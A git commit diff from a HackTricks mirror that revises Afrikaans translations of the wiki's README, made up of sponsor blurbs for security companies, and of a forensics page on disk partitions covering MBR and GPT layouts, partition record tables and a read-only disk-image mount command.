mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['README.md', 'forensics/basic-forensic-methodology/partition
This commit is contained in:
parent
422a9144fb
commit
7003117206
25 changed files with 1370 additions and 3323 deletions
67
README.md
67
README.md
|
@ -5,36 +5,36 @@
|
|||
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Welkom by die wiki waar jy elke haktruk/tegniek/wat ek geleer het van CTF's, werklike toepassings, navorsing en nuus sal vind.**
|
||||
**Welkom by die wiki waar jy elke haktruc/tegniek/enigiets sal vind wat ek geleer het van CTF's, werklike toepassings, navorsing en nuus.**
|
||||
{% endhint %}
|
||||
|
||||
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy een of meer masjiene pentest:**
|
||||
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Platinum Borge
|
||||
## Platinum Borgskappers
|
||||
|
||||
_Jou maatskappy kan hier wees._
|
||||
|
||||
## Korporatiewe Borge
|
||||
## Korporatiewe Borgskappers
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy met die leuse **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakwerkstukke om **verskeie waardevolle sibersekuriteitsdienste** soos pentesting, Rooi spanne en opleiding aan te bied.
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende siberbeveiligingsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle siberbeveiligingsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
|
||||
|
||||
Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** ondersteun ook sibersekuriteit oopbronprojekte soos HackTricks :)
|
||||
**STM Cyber** ondersteun ook siberbeveiliging oopbronprojekte soos HackTricks :)
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) is die belangrikste sibersekuriteitsgeleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante siberbeveiliginggebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en siberbeveiligingsprofessionals in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** is die **#1** etiese hak- en **foutbeloningsplatform in Europa.**
|
||||
**Intigriti** is die **#1** etiese hak- en **foutvondsplatform in Europa.**
|
||||
|
||||
**Foutbeloningswenk**: **teken aan** vir **Intigriti**, 'n premium **foutbeloningsplatform wat deur hakkers, vir hakkers** geskep is! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin belonings verdien tot **$100,000**!
|
||||
**Foutvondstip**: **teken aan** by **Intigriti**, 'n premium **foutvondsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -53,50 +53,36 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome outomaties** te bou met behulp van die wêreld se **mees gevorderde** gemeenskapswerkstukke.
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
|
||||
|
||||
Kry vandag toegang:
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bly 'n tree voor in die sibersekuriteitspel.
|
||||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) maak foutbestuur maklik. Hou jou aanvalsoppervlak dop, sien waar jou maatskappy kwesbaar is, en prioritiseer kwessies wat jou stelsels die meeste blootstel sodat jy kan fokus op wat die belangrikste is.
|
||||
|
||||
Voer duisende kontroles uit met 'n enkele platform wat jou hele tegniese stapel van interne infrastruktuur tot webtoepassings, API's en wolkstelsels dek. Integreer naadloos met [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) en stroomlyn DevOps sodat jou span vinniger herstelwerk kan implementeer.
|
||||
|
||||
Intruder rus nooit nie. Rondom-die-klok beskerming monitor jou stelsels 24/7. Wil jy meer weet? Besoek hul webwerf en probeer dit uit met [**'n gratis toetslopie**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hakkers en foutbeloningsjagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutvondsjagters te kommunikeer!
|
||||
|
||||
**Hakinsigte**\
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hak insluit
|
||||
Neem deel aan inhoud wat die opwinding en uitdagings van hak ondersoek
|
||||
|
||||
**Realtydse Haknuus**\
|
||||
Bly op hoogte van die vinnige hakwêreld deur realtydse nuus en insigte
|
||||
**Reële Tyd Haknuus**\
|
||||
Bly op hoogte van die vinnige hakwêreld deur middel van nuus en insigte in reële tyd
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
Bly ingelig met die nuutste foutvonds wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hakkers!
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsingstoolkit
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsingshulpmiddel
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering en penetrasietoetsing**. Voer 'n volledige penetrasietoets uit van enige plek met 20+ gereedskap en funksies wat strek van rekognosering tot verslagdoening. Ons vervang nie penetrasietoetsers nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, dop te maak en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ hulpmiddels & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste hulpmiddels, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -104,15 +90,16 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy wat in **Amsterdam** gebaseer is en help om besighede **regoor die wêreld** teen die nuutste sibersekuriteitsdreigings te beskerm deur **offensiewe-sibersekuriteitsdienste** met 'n **moderne** benadering te bied.
|
||||
[**WebSec**](https://websec.nl) is 'n professionele siberbeveiligingsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** te beskerm teen die nuutste siberbeveiligingsdreigings deur **aanvallende-sikkerheidsdienste** met 'n **moderne** benadering te bied.
|
||||
|
||||
WebSec is 'n **alles-in-een sibersekuriteitsmaatskappy**, wat beteken dat hulle alles doen; Pentesting, **Sekerheids** Ouditse, Bewustheidsopleiding, Phishing-kampanjes, Kode-oorsig, Uitbuitingsontwikkeling, Uitbesteding van Sekuriteitskundiges en nog baie meer.
|
||||
WebSec is 'n **alles-in-een sikerheidsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sekerheids** Ouditse, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Sekerheidkundiges Uitbesteding en baie meer.
|
||||
|
||||
'n Ander koel ding oor WebSec is dat hulle, in teenstelling met die bedryfsgemiddelde, **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteit resultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy nie daarvoor nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
'n Ander koel ding oor WebSec is dat anders as die bedryfsgemiddelde WebSec **baie vertroue in hul vaardighede** is, tot so 'n mate dat hulle **die beste kwaliteitsresultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## Lisensie & Vrywaring
|
||||
|
||||
**Kyk na hulle in:**
|
||||
|
@ -123,14 +110,14 @@ Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackT
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,35 @@
|
|||
# Partisies / Lêersisteme / Uitsnyding
|
||||
|
||||
## Partisies/ Lêersisteme/ Uitsnyding
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Partisies
|
||||
|
||||
'n Harde skyf of 'n **SSD-skyf kan verskillende partisies bevat** met die doel om data fisies te skei.\
|
||||
Die **minimum** eenheid van 'n skyf is die **sektor** (gewoonlik saamgestel uit 512B). Dus moet elke partisie grootte 'n veelvoud van daardie grootte wees.
|
||||
'n Harde skyf of 'n **SSD-skyf kan verskillende partisies** bevat met die doel om data fisies te skei.\
|
||||
Die **minimum** eenheid van 'n skyf is die **sector** (gewoonlik saamgestel uit 512B). Dus moet elke partisiegrootte 'n veelvoud van daardie grootte wees.
|
||||
|
||||
### MBR (Master Boot Record)
|
||||
|
||||
Dit word toegewys in die **eerste sektor van die skyf na die 446B van die opstartkode**. Hierdie sektor is noodsaaklik om aan die rekenaar aan te dui wat en waarvandaan 'n partisie gemonteer moet word.\
|
||||
Dit laat tot **4 partisies** toe (slegs **1** kan aktief/ opstartbaar wees). As jy egter meer partisies nodig het, kan jy **uitgebreide partisies** gebruik. Die **laaste byte** van hierdie eerste sektor is die opstartrekord-handtekening **0x55AA**. Slegs een partisie kan as aktief gemerk word.\
|
||||
MBR laat **maksimum 2.2TB** toe.
|
||||
Dit is toegewys in die **eerste sektor van die skyf na die 446B van die opstartkode**. Hierdie sektor is noodsaaklik om aan die rekenaar aan te dui wat en van waar 'n partisie moet word aangeheg.\
|
||||
Dit laat tot **4 partisies** toe (hoogstens **net 1** kan aktief/**opstartbaar** wees). As jy egter meer partisies benodig, kan jy **uitgebreide partisies** gebruik. Die **laaste byte** van hierdie eerste sektor is die opstartrekordhandtekening **0x55AA**. Slegs een partisie kan as aktief gemerk word.\
|
||||
MBR laat **maks 2.2TB** toe.
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
Vanaf die **byte 440 tot 443** van die MBR kan jy die **Windows Disk Signature** vind (as Windows gebruik word). Die logiese aanduiding van die harde skyf hang af van die Windows Disk Signature. Die verandering van hierdie handtekening kan voorkom dat Windows opstart (hulpmiddel: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
Vanaf die **byte 440 tot die 443** van die MBR kan jy die **Windows Skyfhandtekening** vind (as Windows gebruik word). Die logiese aanduiding van die harde skyf hang af van die Windows Skyfhandtekening. Die verandering van hierdie handtekening kan voorkom dat Windows opstart (gereedskap: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
|
@ -46,7 +44,7 @@ Vanaf die **byte 440 tot 443** van die MBR kan jy die **Windows Disk Signature**
|
|||
| 494 (0x1EE) | 16 (0x10) | Vierde Partisie |
|
||||
| 510 (0x1FE) | 2 (0x2) | Handtekening 0x55 0xAA |
|
||||
|
||||
**Partisie Rekord Formaat**
|
||||
**Partisie Rekordformaat**
|
||||
|
||||
| Offset | Lengte | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
|
@ -55,15 +53,15 @@ Vanaf die **byte 440 tot 443** van die MBR kan jy die **Windows Disk Signature**
|
|||
| 2 (0x02) | 1 (0x01) | Beginsektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Begin silinder laagste 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partisietipekode (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Eindkop |
|
||||
| 6 (0x06) | 1 (0x01) | Eindsektor (bits 0-5); boonste bits van silinder (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Eind silinder laagste 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektors voor partisie (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektors in partisie |
|
||||
| 5 (0x05) | 1 (0x01) | Eindekop |
|
||||
| 6 (0x06) | 1 (0x01) | Einde sektor (bits 0-5); boonste bits van silinder (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Einde silinder laagste 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektor voor partisie (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektor in partisie |
|
||||
|
||||
Om 'n MBR in Linux te monteer, moet jy eers die beginverskuiwing kry (jy kan `fdisk` en die `p`-opdrag gebruik)
|
||||
Om 'n MBR in Linux aan te heg, moet jy eers die beginoffset kry (jy kan `fdisk` en die `p`-opdrag gebruik)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
En gebruik dan die volgende kode
|
||||
```bash
|
||||
|
@ -74,67 +72,67 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
|||
```
|
||||
**LBA (Logiese blokadressering)**
|
||||
|
||||
**Logiese blokadressering** (**LBA**) is 'n algemene skema wat gebruik word om die ligging van blokke data op rekenaarstoorapparate, gewoonlik sekondêre stoorstelsels soos harde skywe, te spesifiseer. LBA is 'n besonder eenvoudige lineêre adresseringstelsel; blokke word geïdentifiseer deur 'n heelgetalindeks, waar die eerste blok LBA 0 is, die tweede LBA 1, en so aan.
|
||||
**Logiese blokadressering** (**LBA**) is 'n algemene skema wat gebruik word om **die ligging van blokke** data wat op rekenaarstoor-toestelle gestoor word, te spesifiseer, gewoonlik sekondêre stoorstelsels soos harde skyfies. LBA is 'n veral eenvoudige lineêre adresseringstelsel; **blokke word gelokaliseer deur 'n heelgetalindeks**, met die eerste blok wat LBA 0 is, die tweede LBA 1, ensovoorts.
|
||||
|
||||
### GPT (GUID-partisietabel)
|
||||
|
||||
Die GUID-partisietabel, bekend as GPT, word verkies vir sy verbeterde vermoëns in vergelyking met MBR (Meester Opstartrekord). Kenmerkend vir sy unieke identifiseerder vir partisies, steek GPT uit op verskeie maniere:
|
||||
Die GUID-partisietabel, bekend as GPT, word verkies vir sy verbeterde vermoëns in vergelyking met MBR (Meester Koppelrekord). Kenmerkend vir sy **wêreldwyd unieke identifiseerder** vir partisies, steek GPT uit op verskeie maniere:
|
||||
|
||||
- **Ligging en Grootte**: Beide GPT en MBR begin by **sektor 0**. Tog werk GPT met **64-bits**, teenoor MBR se 32-bits.
|
||||
- **Partisiebeperkings**: GPT ondersteun tot **128 partisies** op Windows-stelsels en kan tot **9.4ZB** data akkommodeer.
|
||||
- **Partisienames**: Bied die vermoë om partisies te benoem met tot 36 Unicode-karakters.
|
||||
* **Ligging en Grootte**: Beide GPT en MBR begin by **sektor 0**. Tog werk GPT met **64-bits**, in teenstelling met MBR se 32-bits.
|
||||
* **Partisiegrense**: GPT ondersteun tot **128 partisies** op Windows-stelsels en kan tot **9.4ZB** data akkommodeer.
|
||||
* **Partisienames**: Bied die vermoë om partisies te benoem met tot 36 Unicode-karakters.
|
||||
|
||||
**Databestendigheid en -herwinning**:
|
||||
**Dataweerbaarheid en -herwinning**:
|
||||
|
||||
- **Redundansie**: Anders as MBR beperk GPT partisionering en opstartdata nie tot 'n enkele plek nie. Dit dupliseer hierdie data oor die skyf, wat data-integriteit en bestendigheid verbeter.
|
||||
- **Sikliese Redundansie Kontrole (CRC)**: GPT gebruik CRC om data-integriteit te verseker. Dit monitor aktief vir datakorrupsie, en wanneer dit opgespoor word, probeer GPT om die gekorruppeerde data van 'n ander skyfplek te herstel.
|
||||
* **Redundansie**: Anders as MBR, beperk GPT nie partisionering en opstartdata tot 'n enkele plek nie. Dit dupliseer hierdie data oor die skyf, wat data-integriteit en -weerbaarheid verbeter.
|
||||
* **Sikliese Redundansie Kontrole (CRC)**: GPT gebruik CRC om data-integriteit te verseker. Dit monitor aktief vir datakorrupsie, en wanneer dit opgespoor word, probeer GPT om die gekorrupreerde data vanaf 'n ander skyflokasie te herwin.
|
||||
|
||||
**Beskermende MBR (LBA0)**:
|
||||
|
||||
- GPT handhaaf agterwaartse verenigbaarheid deur middel van 'n beskermende MBR. Hierdie funksie bly in die erfenis MBR-ruimte, maar is ontwerp om te voorkom dat ouer MBR-gebaseerde hulpprogramme GPT-skywe per ongeluk oorskryf, en sodoende die data-integriteit op GPT-geformateerde skywe beskerm.
|
||||
* GPT handhaaf agterwaartse verenigbaarheid deur 'n beskermende MBR. Hierdie kenmerk bly in die erfenis MBR-ruimte, maar is ontwerp om te voorkom dat ouer MBR-gebaseerde nutsbedrywe per abuis GPT-skrywe oorskryf, en sodoende die data-integriteit op GPT-geformateerde skywe beskerm.
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**Hibriede MBR (LBA 0 + GPT)**
|
||||
|
||||
[Vanaf Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
[Vanaf Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
In bedryfstelsels wat **GPT-gebaseerde opstart deur BIOS**-dienste ondersteun eerder as EFI, kan die eerste sektor ook steeds gebruik word om die eerste stadium van die **opstartlader**-kode te stoor, maar **aangepas** om **GPT-partisies** te herken. Die opstartlader in die MBR mag nie 'n sektor-grootte van 512 byte aanneem nie.
|
||||
In bedryfstelsels wat **GPT-gebaseerde opstart deur BIOS**-dienste ondersteun eerder as EFI, kan die eerste sektor steeds gebruik word om die eerste stadium van die **opstartlaaikode** te stoor, maar **aangepas** om **GPT-partisies** te herken. Die opstartlaaier in die MBR mag nie aanneem dat 'n sektor grootte van 512 byte is nie.
|
||||
|
||||
**Partisietabelkop (LBA 1)**
|
||||
|
||||
[Vanaf Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
[Vanaf Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
Die partisietabelkop definieer die bruikbare blokke op die skyf. Dit definieer ook die aantal en grootte van die partisieinskrywings wat die partisietabel uitmaak (offsets 80 en 84 in die tabel).
|
||||
Die partisietabelkop definieer die bruikbare blokke op die skyf. Dit definieer ook die aantal en grootte van die partisie-inskrywings wat die partisietabel uitmaak (offsets 80 en 84 in die tabel).
|
||||
|
||||
| Offset | Lengte | Inhoud |
|
||||
| --------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 byte | Handtekening ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h of 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)op klein-eindige masjiene) |
|
||||
| 8 (0x08) | 4 byte | Hersiening 1.0 (00h 00h 01h 00h) vir UEFI 2.8 |
|
||||
| 8 (0x08) | 4 byte | Revisie 1.0 (00h 00h 01h 00h) vir UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 byte | Kopgrootte in klein-eindige (in byte, gewoonlik 5Ch 00h 00h 00h of 92 byte) |
|
||||
| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) van die kop (offset +0 tot kopgrootte) in klein-eindige, met hierdie veld nul gemaak tydens berekening |
|
||||
| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) van kop (offset +0 tot kopgrootte) in klein-eindige, met hierdie veld wat genul word tydens berekening |
|
||||
| 20 (0x14) | 4 byte | Voorbehou; moet nul wees |
|
||||
| 24 (0x18) | 8 byte | Huidige LBA (ligging van hierdie kopie van die kop) |
|
||||
| 32 (0x20) | 8 byte | Rugsteun LBA (ligging van die ander kopie van die kop) |
|
||||
| 40 (0x28) | 8 byte | Eerste bruikbare LBA vir partisies (laaste LBA van primêre partisietabel + 1) |
|
||||
| 48 (0x30) | 8 byte | Laaste bruikbare LBA (eerste LBA van sekondêre partisietabel - 1) |
|
||||
| 32 (0x20) | 8 byte | Agterste LBA (ligging van die ander kopie van die kop) |
|
||||
| 40 (0x28) | 8 byte | Eerste bruikbare LBA vir partisies (primêre partisietabel laaste LBA + 1) |
|
||||
| 48 (0x30) | 8 byte | Laaste bruikbare LBA (sekondêre partisietabel eerste LBA − 1) |
|
||||
| 56 (0x38) | 16 byte | Skyf-GUID in gemengde eindige |
|
||||
| 72 (0x48) | 8 byte | Begin-LBA van 'n reeks partisieinskrywings (altyd 2 in primêre kopie) |
|
||||
| 80 (0x50) | 4 byte | Aantal partisieinskrywings in reeks |
|
||||
| 84 (0x54) | 4 byte | Grootte van 'n enkele partisieinskrywing (gewoonlik 80h of 128) |
|
||||
| 88 (0x58) | 4 byte | CRC32 van die reeks partisieinskrywings in klein-eindige |
|
||||
